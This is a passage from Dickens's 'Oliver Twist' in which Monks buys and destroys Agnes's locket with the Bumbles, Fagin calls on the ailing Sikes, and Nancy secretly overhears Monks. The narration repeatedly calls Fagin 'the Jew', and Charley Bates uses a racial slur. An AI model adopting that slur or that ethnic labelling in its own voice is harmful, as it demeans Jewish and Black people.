Shortly remarking that +their roads were different, he departed, without more ceremony +than an emphatic repetition of the hour of appointment for the +following night. + +On glancing at the address, the parochial functionary observed +that it contained no name. The stranger had not gone far, so he +made after him to ask it. + +'What do you want?' cried the man, turning quickly round, as +Bumble touched him on the arm. 'Following me?' + +'Only to ask a question,' said the other, pointing to the scrap +of paper. 'What name am I to ask for?' + +'Monks!' rejoined the man; and strode hastily, away. + + + + +CHAPTER XXXVIII + +CONTAINING AN ACCOUNT OF WHAT PASSED BETWEEN MR. AND MRS. BUMBLE, +AND MR. MONKS, AT THEIR NOCTURNAL INTERVIEW + +It was a dull, close, overcast summer evening. The clouds, which +had been threatening all day, spread out in a dense and sluggish +mass of vapour, already yielded large drops of rain, and seemed +to presage a violent thunder-storm, when Mr. and Mrs. Bumble, +turning out of the main street of the town, directed their course +towards a scattered little colony of ruinous houses, distant from +it some mile and a-half, or thereabouts, and erected on a low +unwholesome swamp, bordering upon the river. + +They were both wrapped in old and shabby outer garments, which +might, perhaps, serve the double purpose of protecting their +persons from the rain, and sheltering them from observation. The +husband carried a lantern, from which, however, no light yet +shone; and trudged on, a few paces in front, as though--the way +being dirty--to give his wife the benefit of treading in his +heavy footprints. They went on, in profound silence; every now +and then, Mr. Bumble relaxed his pace, and turned his head as if +to make sure that his helpmate was following; then, discovering +that she was close at his heels, he mended his rate of walking, +and proceeded, at a considerable increase of speed, towards their +place of destination. + +This was far from being a place of doubtful character; for it had +long been known as the residence of none but low ruffians, who, +under various pretences of living by their labour, subsisted +chiefly on plunder and crime. It was a collection of mere +hovels: some, hastily built with loose bricks: others, of old +worm-eaten ship-timber: jumbled together without any attempt at +order or arrangement, and planted, for the most part, within a +few feet of the river's bank. A few leaky boats drawn up on the +mud, and made fast to the dwarf wall which skirted it: and here +and there an oar or coil of rope: appeared, at first, to +indicate that the inhabitants of these miserable cottages pursued +some avocation on the river; but a glance at the shattered and +useless condition of the articles thus displayed, would have led +a passer-by, without much difficulty, to the conjecture that they +were disposed there, rather for the preservation of appearances, +than with any view to their being actually employed. + +In the heart of this cluster of huts; and skirting the river, +which its upper stories overhung; stood a large building, +formerly used as a manufactory of some kind. It had, in its day, +probably furnished employment to the inhabitants of the +surrounding tenements. But it had long since gone to ruin. The +rat, the worm, and the action of the damp, had weakened and +rotted the piles on which it stood; and a considerable portion of +the building had already sunk down into the water; while the +remainder, tottering and bending over the dark stream, seemed to +wait a favourable opportunity of following its old companion, and +involving itself in the same fate. + +It was before this ruinous building that the worthy couple +paused, as the first peal of distant thunder reverberated in the +air, and the rain commenced pouring violently down. + +'The place should be somewhere here,' said Bumble, consulting a +scrap of paper he held in his hand. + +'Halloa there!' cried a voice from above. + +Following the sound, Mr. Bumble raised his head and descried a +man looking out of a door, breast-high, on the second story. + +'Stand still, a minute,' cried the voice; 'I'll be with you +directly.' With which the head disappeared, and the door closed. + +'Is that the man?' asked Mr. Bumble's good lady. + +Mr. Bumble nodded in the affirmative. + +'Then, mind what I told you,' said the matron: 'and be careful to +say as little as you can, or you'll betray us at once.' + +Mr. Bumble, who had eyed the building with very rueful looks, was +apparently about to express some doubts relative to the +advisability of proceeding any further with the enterprise just +then, when he was prevented by the appearance of Monks: who +opened a small door, near which they stood, and beckoned them +inwards. + +'Come in!' he cried impatiently, stamping his foot upon the +ground. 'Don't keep me here!' + +The woman, who had hesitated at first, walked boldly in, without +any other invitation. Mr. Bumble, who was ashamed or afraid to +lag behind, followed: obviously very ill at ease and with +scarcely any of that remarkable dignity which was usually his +chief characteristic. + +'What the devil made you stand lingering there, in the wet?' said +Monks, turning round, and addressing Bumble, after he had bolted +the door behind them. + +'We--we were only cooling ourselves,' stammered Bumble, looking +apprehensively about him. + +'Cooling yourselves!' retorted Monks. 'Not all the rain that +ever fell, or ever will fall, will put as much of hell's fire +out, as a man can carry about with him. You won't cool yourself +so easily; don't think it!' + +With this agreeable speech, Monks turned short upon the matron, +and bent his gaze upon her, till even she, who was not easily +cowed, was fain to withdraw her eyes, and turn them towards +the ground. + +'This is the woman, is it?' demanded Monks. + +'Hem! That is the woman,' replied Mr. Bumble, mindful of his +wife's caution. + +'You think women never can keep secrets, I suppose?' said the +matron, interposing, and returning, as she spoke, the searching +look of Monks. + +'I know they will always keep _one_ till it's found out,' said +Monks. + +'And what may that be?' asked the matron. + +'The loss of their own good name,' replied Monks. 'So, by the +same rule, if a woman's a party to a secret that might hang or +transport her, I'm not afraid of her telling it to anybody; not +I! Do you understand, mistress?' + +'No,' rejoined the matron, slightly colouring as she spoke. + +'Of course you don't!' said Monks. 'How should you?' + +Bestowing something half-way between a smile and a frown upon his +two companions, and again beckoning them to follow him, the man +hastened across the apartment, which was of considerable extent, +but low in the roof. He was preparing to ascend a steep +staircase, or rather ladder, leading to another floor of +warehouses above: when a bright flash of lightning streamed down +the aperture, and a peal of thunder followed, which shook the +crazy building to its centre. + +'Hear it!' he cried, shrinking back. 'Hear it! Rolling and +crashing on as if it echoed through a thousand caverns where the +devils were hiding from it. I hate the sound!' + +He remained silent for a few moments; and then, removing his +hands suddenly from his face, showed, to the unspeakable +discomposure of Mr. Bumble, that it was much distorted and +discoloured. + +'These fits come over me, now and then,' said Monks, observing +his alarm; 'and thunder sometimes brings them on. Don't mind me +now; it's all over for this once.' + +Thus speaking, he led the way up the ladder; and hastily closing +the window-shutter of the room into which it led, lowered a +lantern which hung at the end of a rope and pulley passed through +one of the heavy beams in the ceiling: and which cast a dim +light upon an old table and three chairs that were placed beneath +it. + +'Now,' said Monks, when they had all three seated themselves, +'the sooner we come to our business, the better for all. The +woman know what it is, does she?' + +The question was addressed to Bumble; but his wife anticipated +the reply, by intimating that she was perfectly acquainted with +it. + +'He is right in saying that you were with this hag the night she +died; and that she told you something--' + +'About the mother of the boy you named,' replied the matron +interrupting him. 'Yes.' + +'The first question is, of what nature was her communication?' +said Monks. + +'That's the second,' observed the woman with much deliberation. +'The first is, what may the communication be worth?' + +'Who the devil can tell that, without knowing of what kind it +is?' asked Monks. + +'Nobody better than you, I am persuaded,' answered Mrs. Bumble: +who did not want for spirit, as her yoke-fellow could abundantly +testify. + +'Humph!' said Monks significantly, and with a look of eager +inquiry; 'there may be money's worth to get, eh?' + +'Perhaps there may,' was the composed reply. + +'Something that was taken from her,' said Monks. 'Something that +she wore. Something that--' + +'You had better bid,' interrupted Mrs. Bumble. 'I have heard +enough, already, to assure me that you are the man I ought to +talk to.' + +Mr. Bumble, who had not yet been admitted by his better half into +any greater share of the secret than he had originally possessed, +listened to this dialogue with outstretched neck and distended +eyes: which he directed towards his wife and Monks, by turns, in +undisguised astonishment; increased, if possible, when the latter +sternly demanded, what sum was required for the disclosure. + +'What's it worth to you?' asked the woman, as collectedly as +before. + +'It may be nothing; it may be twenty pounds,' replied Monks. +'Speak out, and let me know which.' + +'Add five pounds to the sum you have named; give me +five-and-twenty pounds in gold,' said the woman; 'and I'll tell +you all I know. Not before.' + +'Five-and-twenty pounds!' exclaimed Monks, drawing back. + +'I spoke as plainly as I could,' replied Mrs. Bumble. 'It's not +a large sum, either.' + +'Not a large sum for a paltry secret, that may be nothing when +it's told!' cried Monks impatiently; 'and which has been lying +dead for twelve years past or more!' + +'Such matters keep well, and, like good wine, often double their +value in course of time,' answered the matron, still preserving +the resolute indifference she had assumed. 'As to lying dead, +there are those who will lie dead for twelve thousand years to +come, or twelve million, for anything you or I know, who will +tell strange tales at last!' + +'What if I pay it for nothing?' asked Monks, hesitating. + +'You can easily take it away again,' replied the matron. 'I am +but a woman; alone here; and unprotected.' + +'Not alone, my dear, nor unprotected, neither,' submitted Mr. +Bumble, in a voice tremulous with fear: '_I_ am here, my dear. +And besides,' said Mr. Bumble, his teeth chattering as he spoke, +'Mr. Monks is too much of a gentleman to attempt any violence on +porochial persons. Mr. Monks is aware that I am not a young man, +my dear, and also that I am a little run to seed, as I may say; +bu he has heerd: I say I have no doubt Mr. Monks has heerd, my +dear: that I am a very determined officer, with very uncommon +strength, if I'm once roused. I only want a little rousing; +that's all.' + +As Mr. Bumble spoke, he made a melancholy feint of grasping his +lantern with fierce determination; and plainly showed, by the +alarmed expression of every feature, that he _did_ want a little +rousing, and not a little, prior to making any very warlike +demonstration: unless, indeed, against paupers, or other person +or persons trained down for the purpose. + +'You are a fool,' said Mrs. Bumble, in reply; 'and had better +hold your tongue.' + +'He had better have cut it out, before he came, if he can't speak +in a lower tone,' said Monks, grimly. 'So! He's your husband, +eh?' + +'He my husband!' tittered the matron, parrying the question. + +'I thought as much, when you came in,' rejoined Monks, marking +the angry glance which the lady darted at her spouse as she +spoke. 'So much the better; I have less hesitation in dealing +with two people, when I find that there's only one will between +them. I'm in earnest. See here!' + +He thrust his hand into a side-pocket; and producing a canvas +bag, told out twenty-five sovereigns on the table, and pushed +them over to the woman. + +'Now,' he said, 'gather them up; and when this cursed peal of +thunder, which I feel is coming up to break over the house-top, +is gone, let's hear your story.' + +The thunder, which seemed in fact much nearer, and to shiver and +break almost over their heads, having subsided, Monks, raising +his face from the table, bent forward to listen to what the woman +should say. The faces of the three nearly touched, as the two +men leant over the small table in their eagerness to hear, and +the woman also leant forward to render her whisper audible. The +sickly rays of the suspended lantern falling directly upon them, +aggravated the paleness and anxiety of their countenances: which, +encircled by the deepest gloom and darkness, looked ghastly in +the extreme. + +'When this woman, that we called old Sally, died,' the matron +began, 'she and I were alone.' + +'Was there no one by?' asked Monks, in the same hollow whisper; +'No sick wretch or idiot in some other bed? No one who could +hear, and might, by possibility, understand?' + +'Not a soul,' replied the woman; 'we were alone. _I_ stood alone +beside the body when death came over it.' + +'Good,' said Monks, regarding her attentively. 'Go on.' + +'She spoke of a young creature,' resumed the matron, 'who had +brought a child into the world some years before; not merely in +the same room, but in the same bed, in which she then lay dying.' + +'Ay?' said Monks, with quivering lip, and glancing over his +shoulder, 'Blood! How things come about!' + +'The child was the one you named to him last night,' said the +matron, nodding carelessly towards her husband; 'the mother this +nurse had robbed.' + +'In life?' asked Monks. + +'In death,' replied the woman, with something like a shudder. +'She stole from the corpse, when it had hardly turned to one, +that which the dead mother had prayed her, with her last breath, +to keep for the infant's sake.' + +'She sold it,' cried Monks, with desperate eagerness; 'did she +sell it? Where? When? To whom? How long before?' + +'As she told me, with great difficulty, that she had done this,' +said the matron, 'she fell back and died.' + +'Without saying more?' cried Monks, in a voice which, from its +very suppression, seemed only the more furious. 'It's a lie! +I'll not be played with. She said more. I'll tear the life out +of you both, but I'll know what it was.' + +'She didn't utter another word,' said the woman, to all +appearance unmoved (as Mr. Bumble was very far from being) by the +strange man's violence; 'but she clutched my gown, violently, +with one hand, which was partly closed; and when I saw that she +was dead, and so removed the hand by force, I found it clasped a +scrap of dirty paper.' + +'Which contained--' interposed Monks, stretching forward. + +'Nothing,' replied the woman; 'it was a pawnbroker's duplicate.' + +'For what?' demanded Monks. + +'In good time I'll tell you.' said the woman. 'I judge that she +had kept the trinket, for some time, in the hope of turning it to +better account; and then had pawned it; and had saved or scraped +together money to pay the pawnbroker's interest year by year, and +prevent its running out; so that if anything came of it, it could +still be redeemed. Nothing had come of it; and, as I tell you, +she died with the scrap of paper, all worn and tattered, in her +hand. The time was out in two days; I thought something might +one day come of it too; and so redeemed the pledge.' + +'Where is it now?' asked Monks quickly. + +'_There_,' replied the woman. And, as if glad to be relieved of +it, she hastily threw upon the table a small kid bag scarcely +large enough for a French watch, which Monks pouncing upon, tore +open with trembling hands. It contained a little gold locket: +in which were two locks of hair, and a plain gold wedding-ring. + +'It has the word "Agnes" engraved on the inside,' said the woman. + +'There is a blank left for the surname; and then follows the +date; which is within a year before the child was born. I found +out that.' + +'And this is all?' said Monks, after a close and eager scrutiny +of the contents of the little packet. + +'All,' replied the woman. + +Mr. Bumble drew a long breath, as if he were glad to find that +the story was over, and no mention made of taking the +five-and-twenty pounds back again; and now he took courage to +wipe the perspiration which had been trickling over his nose, +unchecked, during the whole of the previous dialogue. + +'I know nothing of the story, beyond what I can guess at,' said +his wife addressing Monks, after a short silence; 'and I want to +know nothing; for it's safer not. But I may ask you two +questions, may I?' + +'You may ask,' said Monks, with some show of surprise; 'but +whether I answer or not is another question.' + +'--Which makes three,' observed Mr. Bumble, essaying a stroke of +facetiousness. + +'Is that what you expected to get from me?' demanded the matron. + +'It is,' replied Monks. 'The other question?' + +'What do you propose to do with it? Can it be used against me?' + +'Never,' rejoined Monks; 'nor against me either. See here! But +don't move a step forward, or your life is not worth a bulrush.' + +With these words, he suddenly wheeled the table aside, and +pulling an iron ring in the boarding, threw back a large +trap-door which opened close at Mr. Bumble's feet, and caused +that gentleman to retire several paces backward, with great +precipitation. + +'Look down,' said Monks, lowering the lantern into the gulf. +'Don't fear me. I could have let you down, quietly enough, when +you were seated over it, if that had been my game.' + +Thus encouraged, the matron drew near to the brink; and even Mr. +Bumble himself, impelled by curiousity, ventured to do the same. +The turbid water, swollen by the heavy rain, was rushing rapidly +on below; and all other sounds were lost in the noise of its +plashing and eddying against the green and slimy piles. There +had once been a water-mill beneath; the tide foaming and chafing +round the few rotten stakes, and fragments of machinery that yet +remained, seemed to dart onward, with a new impulse, when freed +from the obstacles which had unavailingly attempted to stem its +headlong course. + +'If you flung a man's body down there, where would it be +to-morrow morning?' said Monks, swinging the lantern to and fro +in the dark well. + +'Twelve miles down the river, and cut to pieces besides,' replied +Bumble, recoiling at the thought. + +Monks drew the little packet from his breast, where he had +hurriedly thrust it; and tying it to a leaden weight, which had +formed a part of some pulley, and was lying on the floor, dropped +it into the stream. It fell straight, and true as a die; clove +the water with a scarcely audible splash; and was gone. + +The three looking into each other's faces, seemed to breathe more +freely. + +'There!' said Monks, closing the trap-door, which fell heavily +back into its former position. 'If the sea ever gives up its +dead, as books say it will, it will keep its gold and silver to +itself, and that trash among it. We have nothing more to say, +and may break up our pleasant party.' + +'By all means,' observed Mr. Bumble, with great alacrity. + +'You'll keep a quiet tongue in your head, will you?' said Monks, +with a threatening look. 'I am not afraid of your wife.' + +'You may depend upon me, young man,' answered Mr. Bumble, bowing +himself gradually towards the ladder, with excessive politeness. +'On everybody's account, young man; on my own, you know, Mr. +Monks.' + +'I am glad, for your sake, to hear it,' remarked Monks. 'Light +your lantern! And get away from here as fast as you can.' + +It was fortunate that the conversation terminated at this point, +or Mr. Bumble, who had bowed himself to within six inches of the +ladder, would infallibly have pitched headlong into the room +below. He lighted his lantern from that which Monks had detached +from the rope, and now carried in his hand; and making no effort +to prolong the discourse, descended in silence, followed by his +wife. Monks brought up the rear, after pausing on the steps to +satisfy himself that there were no other sounds to be heard than +the beating of the rain without, and the rushing of the water. + +They traversed the lower room, slowly, and with caution; for +Monks started at every shadow; and Mr. Bumble, holding his +lantern a foot above the ground, walked not only with remarkable +care, but with a marvellously light step for a gentleman of his +figure: looking nervously about him for hidden trap-doors. The +gate at which they had entered, was softly unfastened and opened +by Monks; merely exchanging a nod with their mysterious +acquaintance, the married couple emerged into the wet and +darkness outside. + +They were no sooner gone, than Monks, who appeared to entertain +an invincible repugnance to being left alone, called to a boy who +had been hidden somewhere below. Bidding him go first, and bear +the light, he returned to the chamber he had just quitted. + + + + +CHAPTER XXXIX + +INTRODUCES SOME RESPECTABLE CHARACTERS WITH WHOM THE READER IS +ALREADY ACQUAINTED, AND SHOWS HOW MONKS AND THE JEW LAID THEIR +WORTHY HEADS TOGETHER + +On the evening following that upon which the three worthies +mentioned in the last chapter, disposed of their little matter of +business as therein narrated, Mr. William Sikes, awakening from a +nap, drowsily growled forth an inquiry what time of night it was. + +The room in which Mr. Sikes propounded this question, was not one +of those he had tenanted, previous to the Chertsey expedition, +although it was in the same quarter of the town, and was situated +at no great distance from his former lodgings. It was not, in +appearance, so desirable a habitation as his old quarters: being +a mean and badly-furnished apartment, of very limited size; +lighted only by one small window in the shelving roof, and +abutting on a close and dirty lane. Nor were there wanting other +indications of the good gentleman's having gone down in the world +of late: for a great scarcity of furniture, and total absence of +comfort, together with the disappearance of all such small +moveables as spare clothes and linen, bespoke a state of extreme +poverty; while the meagre and attenuated condition of Mr. Sikes +himself would have fully confirmed these symptoms, if they had +stood in any need of corroboration. + +The housebreaker was lying on the bed, wrapped in his white +great-coat, by way of dressing-gown, and displaying a set of +features in no degree improved by the cadaverous hue of illness, +and the addition of a soiled nightcap, and a stiff, black beard +of a week's growth. The dog sat at the bedside: now eyeing his +master with a wistful look, and now pricking his ears, and +uttering a low growl as some noise in the street, or in the lower +part of the house, attracted his attention. Seated by the +window, busily engaged in patching an old waistcoat which formed +a portion of the robber's ordinary dress, was a female: so pale +and reduced with watching and privation, that there would have +been considerable difficulty in recognising her as the same Nancy +who has already figured in this tale, but for the voice in which +she replied to Mr. Sikes's question. + +'Not long gone seven,' said the girl. 'How do you feel to-night, +Bill?' + +'As weak as water,' replied Mr. Sikes, with an imprecation on his +eyes and limbs. 'Here; lend us a hand, and let me get off this +thundering bed anyhow.' + +Illness had not improved Mr. Sikes's temper; for, as the girl +raised him up and led him to a chair, he muttered various curses +on her awkwardness, and struck her. + +'Whining are you?' said Sikes. 'Come! Don't stand snivelling +there. If you can't do anything better than that, cut off +altogether. D'ye hear me?' + +'I hear you,' replied the girl, turning her face aside, and +forcing a laugh. 'What fancy have you got in your head now?' + +'Oh! you've thought better of it, have you?' growled Sikes, +marking the tear which trembled in her eye. 'All the better for +you, you have.' + +'Why, you don't mean to say, you'd be hard upon me to-night, +Bill,' said the girl, laying her hand upon his shoulder. + +'No!' cried Mr. Sikes. 'Why not?' + +'Such a number of nights,' said the girl, with a touch of woman's +tenderness, which communicated something like sweetness of tone, +even to her voice: 'such a number of nights as I've been patient +with you, nursing and caring for you, as if you had been a child: +and this the first that I've seen you like yourself; you wouldn't +have served me as you did just now, if you'd thought of that, +would you? Come, come; say you wouldn't.' + +'Well, then,' rejoined Mr. Sikes, 'I wouldn't. Why, damme, now, +the girls's whining again!' + +'It's nothing,' said the girl, throwing herself into a chair. +'Don't you seem to mind me. It'll soon be over.' + +'What'll be over?' demanded Mr. Sikes in a savage voice. 'What +foolery are you up to, now, again? Get up and bustle about, and +don't come over me with your woman's nonsense.' + +At any other time, this remonstrance, and the tone in which it +was delivered, would have had the desired effect; but the girl +being really weak and exhausted, dropped her head over the back +of the chair, and fainted, before Mr. Sikes could get out a few +of the appropriate oaths with which, on similar occasions, he was +accustomed to garnish his threats. Not knowing, very well, what +to do, in this uncommon emergency; for Miss Nancy's hysterics +were usually of that violent kind which the patient fights and +struggles out of, without much assistance; Mr. Sikes tried a +little blasphemy: and finding that mode of treatment wholly +ineffectual, called for assistance. + +'What's the matter here, my dear?' said Fagin, looking in. + +'Lend a hand to the girl, can't you?' replied Sikes impatiently. +'Don't stand chattering and grinning at me!' + +With an exclamation of surprise, Fagin hastened to the girl's +assistance, while Mr. John Dawkins (otherwise the Artful Dodger), +who had followed his venerable friend into the room, hastily +deposited on the floor a bundle with which he was laden; and +snatching a bottle from the grasp of Master Charles Bates who +came close at his heels, uncorked it in a twinkling with his +teeth, and poured a portion of its contents down the patient's +throat: previously taking a taste, himself, to prevent mistakes. + +'Give her a whiff of fresh air with the bellows, Charley,' said +Mr. Dawkins; 'and you slap her hands, Fagin, while Bill undoes +the petticuts.' + +These united restoratives, administered with great energy: +especially that department consigned to Master Bates, who +appeared to consider his share in the proceedings, a piece of +unexampled pleasantry: were not long in producing the desired +effect. The girl gradually recovered her senses; and, staggering +to a chair by the bedside, hid her face upon the pillow: leaving +Mr. Sikes to confront the new comers, in some astonishment at +their unlooked-for appearance. + +'Why, what evil wind has blowed you here?' he asked Fagin. + +'No evil wind at all, my dear, for evil winds blow nobody any +good; and I've brought something good with me, that you'll be +glad to see. Dodger, my dear, open the bundle; and give Bill the +little trifles that we spent all our money on, this morning.' + +In compliance with Mr. Fagin's request, the Artful untied this +bundle, which was of large size, and formed of an old +table-cloth; and handed the articles it contained, one by one, to +Charley Bates: who placed them on the table, with various +encomiums on their rarity and excellence. + +'Sitch a rabbit pie, Bill,' exclaimed that young gentleman, +disclosing to view a huge pasty; 'sitch delicate creeturs, with +sitch tender limbs, Bill, that the wery bones melt in your mouth, +and there's no occasion to pick 'em; half a pound of seven and +six-penny green, so precious strong that if you mix it with +biling water, it'll go nigh to blow the lid of the tea-pot off; a +pound and a half of moist sugar that the niggers didn't work at +all at, afore they got it up to sitch a pitch of goodness,--oh +no! Two half-quartern brans; pound of best fresh; piece of +double Glo'ster; and, to wind up all, some of the richest sort +you ever lushed!' + +Uttering this last panegyric, Master Bates produced, from one of +his extensive pockets, a full-sized wine-bottle, carefully +corked; while Mr. Dawkins, at the same instant, poured out a +wine-glassful of raw spirits from the bottle he carried: which +the invalid tossed down his throat without a moment's hesitation. + +'Ah!' said Fagin, rubbing his hands with great satisfaction. +'You'll do, Bill; you'll do now.' + +'Do!' exclaimed Mr. Sikes; 'I might have been done for, twenty +times over, afore you'd have done anything to help me. What do +you mean by leaving a man in this state, three weeks and more, +you false-hearted wagabond?' + +'Only hear him, boys!' said Fagin, shrugging his shoulders. 'And +us come to bring him all these beau-ti-ful things.' + +'The things is well enough in their way,' observed Mr. Sikes: a +little soothed as he glanced over the table; 'but what have you +got to say for yourself, why you should leave me here, down in +the mouth, health, blunt, and everything else; and take no more +notice of me, all this mortal time, than if I was that 'ere +dog.--Drive him down, Charley!' + +'I never see such a jolly dog as that,' cried Master Bates, doing +as he was desired. 'Smelling the grub like a old lady a going to +market! He'd make his fortun' on the stage that dog would, and +rewive the drayma besides.' + +'Hold your din,' cried Sikes, as the dog retreated under the bed: +still growling angrily. 'What have you got to say for yourself, +you withered old fence, eh?' + +'I was away from London, a week and more, my dear, on a plant,' +replied the Jew. + +'And what about the other fortnight?' demanded Sikes. 'What +about the other fortnight that you've left me lying here, like a +sick rat in his hole?' + +'I couldn't help it, Bill. I can't go into a long explanation +before company; but I couldn't help it, upon my honour.' + +'Upon your what?' growled Sikes, with excessive disgust. 'Here! +Cut me off a piece of that pie, one of you boys, to take the +taste of that out of my mouth, or it'll choke me dead.' + +'Don't be out of temper, my dear,' urged Fagin, submissively. 'I +have never forgot you, Bill; never once.' + +'No! I'll pound it that you han't,' replied Sikes, with a bitter +grin. 'You've been scheming and plotting away, every hour that I +have laid shivering and burning here; and Bill was to do this; +and Bill was to do that; and Bill was to do it all, dirt cheap, +as soon as he got well: and was quite poor enough for your work. +If it hadn't been for the girl, I might have died.' + +'There now, Bill,' remonstrated Fagin, eagerly catching at the +word. 'If it hadn't been for the girl! Who but poor ould Fagin +was the means of your having such a handy girl about you?' + +'He says true enough there!' said Nancy, coming hastily forward. +'Let him be; let him be.' + +Nancy's appearance gave a new turn to the conversation; for the +boys, receiving a sly wink from the wary old Jew, began to ply +her with liquor: of which, however, she took very sparingly; +while Fagin, assuming an unusual flow of spirits, gradually +brought Mr. Sikes into a better temper, by affecting to regard +his threats as a little pleasant banter; and, moreover, by +laughing very heartily at one or two rough jokes, which, after +repeated applications to the spirit-bottle, he condescended to +make. + +'It's all very well,' said Mr. Sikes; 'but I must have some blunt +from you to-night.' + +'I haven't a piece of coin about me,' replied the Jew. + +'Then you've got lots at home,' retorted Sikes; 'and I must have +some from there.' + +'Lots!' cried Fagin, holding up is hands. 'I haven't so much as +would--' + +'I don't know how much you've got, and I dare say you hardly know +yourself, as it would take a pretty long time to count it,' said +Sikes; 'but I must have some to-night; and that's flat.' + +'Well, well,' said Fagin, with a sigh, 'I'll send the Artful +round presently.' + +'You won't do nothing of the kind,' rejoined Mr. Sikes. 'The +Artful's a deal too artful, and would forget to come, or lose his +way, or get dodged by traps and so be perwented, or anything for +an excuse, if you put him up to it. Nancy shall go to the ken +and fetch it, to make all sure; and I'll lie down and have a +snooze while she's gone.' + +After a great deal of haggling and squabbling, Fagin beat down +the amount of the required advance from five pounds to three +pounds four and sixpence: protesting with many solemn +asseverations that that would only leave him eighteen-pence to +keep house with; Mr. Sikes sullenly remarking that if he couldn't +get any more he must accompany him home; with the Dodger and +Master Bates put the eatables in the cupboard. The Jew then, +taking leave of his affectionate friend, returned homeward, +attended by Nancy and the boys: Mr. Sikes, meanwhile, flinging +himself on the bed, and composing himself to sleep away the time +until the young lady's return. + +In due course, they arrived at Fagin's abode, where they found +Toby Crackit and Mr. Chitling intent upon their fifteenth game at +cribbage, which it is scarcely necessary to say the latter +gentleman lost, and with it, his fifteenth and last sixpence: +much to the amusement of his young friends. Mr. Crackit, +apparently somewhat ashamed at being found relaxing himself with +a gentleman so much his inferior in station and mental +endowments, yawned, and inquiring after Sikes, took up his hat to +go. + +'Has nobody been, Toby?' asked Fagin. + +'Not a living leg,' answered Mr. Crackit, pulling up his collar; +'it's been as dull as swipes. You ought to stand something +handsome, Fagin, to recompense me for keeping house so long. +Damme, I'm as flat as a juryman; and should have gone to sleep, +as fast as Newgate, if I hadn't had the good natur' to amuse this +youngster. Horrid dull, I'm blessed if I an't!' + +With these and other ejaculations of the same kind, Mr. Toby +Crackit swept up his winnings, and crammed them into his +waistcoat pocket with a haughty air, as though such small pieces +of silver were wholly beneath the consideration of a man of his +figure; this done, he swaggered out of the room, with so much +elegance and gentility, that Mr. Chitling, bestowing numerous +admiring glances on his legs and boots till they were out of +sight, assured the company that he considered his acquaintance +cheap at fifteen sixpences an interview, and that he didn't value +his losses the snap of his little finger. + +'Wot a rum chap you are, Tom!' said Master Bates, highly amused +by this declaration. + +'Not a bit of it,' replied Mr. Chitling. 'Am I, Fagin?' + +'A very clever fellow, my dear,' said Fagin, patting him on the +shoulder, and winking to his other pupils. + +'And Mr. Crackit is a heavy swell; an't he, Fagin?' asked Tom. + +'No doubt at all of that, my dear.' + +'And it is a creditable thing to have his acquaintance; an't it, +Fagin?' pursued Tom. + +'Very much so, indeed, my dear. They're only jealous, Tom, +because he won't give it to them.' + +'Ah!' cried Tom, triumphantly, 'that's where it is! He has +cleaned me out. But I can go and earn some more, when I like; +can't I, Fagin?' + +'To be sure you can, and the sooner you go the better, Tom; so +make up your loss at once, and don't lose any more time. Dodger! +Charley! It's time you were on the lay. Come! It's near ten, +and nothing done yet.' + +In obedience to this hint, the boys, nodding to Nancy, took up +their hats, and left the room; the Dodger and his vivacious +friend indulging, as they went, in many witticisms at the expense +of Mr. Chitling; in whose conduct, it is but justice to say, +there was nothing very conspicuous or peculiar: inasmuch as +there are a great number of spirited young bloods upon town, who +pay a much higher price than Mr. Chitling for being seen in good +society: and a great number of fine gentlemen (composing the +good society aforesaid) who established their reputation upon +very much the same footing as flash Toby Crackit. + +'Now,' said Fagin, when they had left the room, 'I'll go and get +you that cash, Nancy. This is only the key of a little cupboard +where I keep a few odd things the boys get, my dear. I never +lock up my money, for I've got none to lock up, my dear--ha! ha! +ha!--none to lock up. It's a poor trade, Nancy, and no thanks; +but I'm fond of seeing the young people about me; and I bear it +all, I bear it all. Hush!' he said, hastily concealing the key +in his breast; 'who's that? Listen!' + +The girl, who was sitting at the table with her arms folded, +appeared in no way interested in the arrival: or to care whether +the person, whoever he was, came or went: until the murmur of a +man's voice reached her ears. The instant she caught the sound, +she tore off her bonnet and shawl, with the rapidity of +lightning, and thrust them under the table. The Jew, turning +round immediately afterwards, she muttered a complaint of the +heat: in a tone of languor that contrasted, very remarkably, +with the extreme haste and violence of this action: which, +however, had been unobserved by Fagin, who had his back towards +her at the time. + +'Bah!' he whispered, as though nettled by the interruption; 'it's +the man I expected before; he's coming downstairs. Not a word +about the money while he's here, Nance. He won't stop long. Not +ten minutes, my dear.' + +Laying his skinny forefinger upon his lip, the Jew carried a +candle to the door, as a man's step was heard upon the stairs +without. He reached it, at the same moment as the visitor, who, +coming hastily into the room, was close upon the girl before he +observed her. + +It was Monks. + +'Only one of my young people,' said Fagin, observing that Monks +drew back, on beholding a stranger. 'Don't move, Nancy.' + +The girl drew closer to the table, and glancing at Monks with an +air of careless levity, withdrew her eyes; but as he turned +towards Fagin, she stole another look; so keen and searching, and +full of purpose, that if there had been any bystander to observe +the change, he could hardly have believed the two looks to have +proceeded from the same person. + +'Any news?' inquired Fagin. + +'Great.' + +'And--and--good?' asked Fagin, hesitating as though he feared to +vex the other man by being too sanguine. + +'Not bad, any way,' replied Monks with a smile. 'I have been +prompt enough this time. Let me have a word with you.' + +The girl drew closer to the table, and made no offer to leave the +room, although she could see that Monks was pointing to her. The +Jew: perhaps fearing she might say something aloud about the +money, if he endeavoured to get rid of her: pointed upward, and +took Monks out of the room. + +'Not that infernal hole we were in before,' she could hear the +man say as they went upstairs. Fagin laughed; and making some +reply which did not reach her, seemed, by the creaking of the +boards, to lead his companion to the second story. + +Before the sound of their footsteps had ceased to echo through +the house, the girl had slipped off her shoes; and drawing her +gown loosely over her head, and muffling her arms in it, stood at +the door, listening with breathless interest. The moment the +noise ceased, she glided from the room; ascended the stairs with +incredible softness and silence; and was lost in the gloom above. + +The room remained deserted for a quarter of an hour or more; the +girl glided back with the same unearthly tread; and, immediately +afterwards, the two men were heard descending. Monks went at +once into the street; and the Jew crawled upstairs again for the +money. When he returned, the girl was adjusting her shawl and +bonnet, as if preparing to be gone. + +'Why, Nance!' exclaimed the Jew, starting back as he put down +the candle, 'how pale you are!' + +'Pale!' echoed the girl, shading her eyes with her hands, as if +to look steadily at him. + +'Quite horrible. What have you been doing to yourself?' + +'Nothing that I know of, except sitting in this close place for I +don't know how long and all,' replied the girl carelessly. +'Come! Let me get back; that's a dear.' + +With a sigh for every piece of money, Fagin told the amount into +her hand. They parted without more conversation, merely +interchanging a 'good-night.' + +When the girl got into the open street, she sat down upon a +doorstep; and seemed, for a few moments, wholly bewildered and +unable to pursue her way. Suddenly she arose; and hurrying on, +in a direction quite opposite to that in which Sikes was awaiting +her returned, quickened her pace, until it gradually resolved +into a violent run. After completely exhausting herself, she +stopped to take breath: and, as if suddenly recollecting +herself, and deploring her inability to do 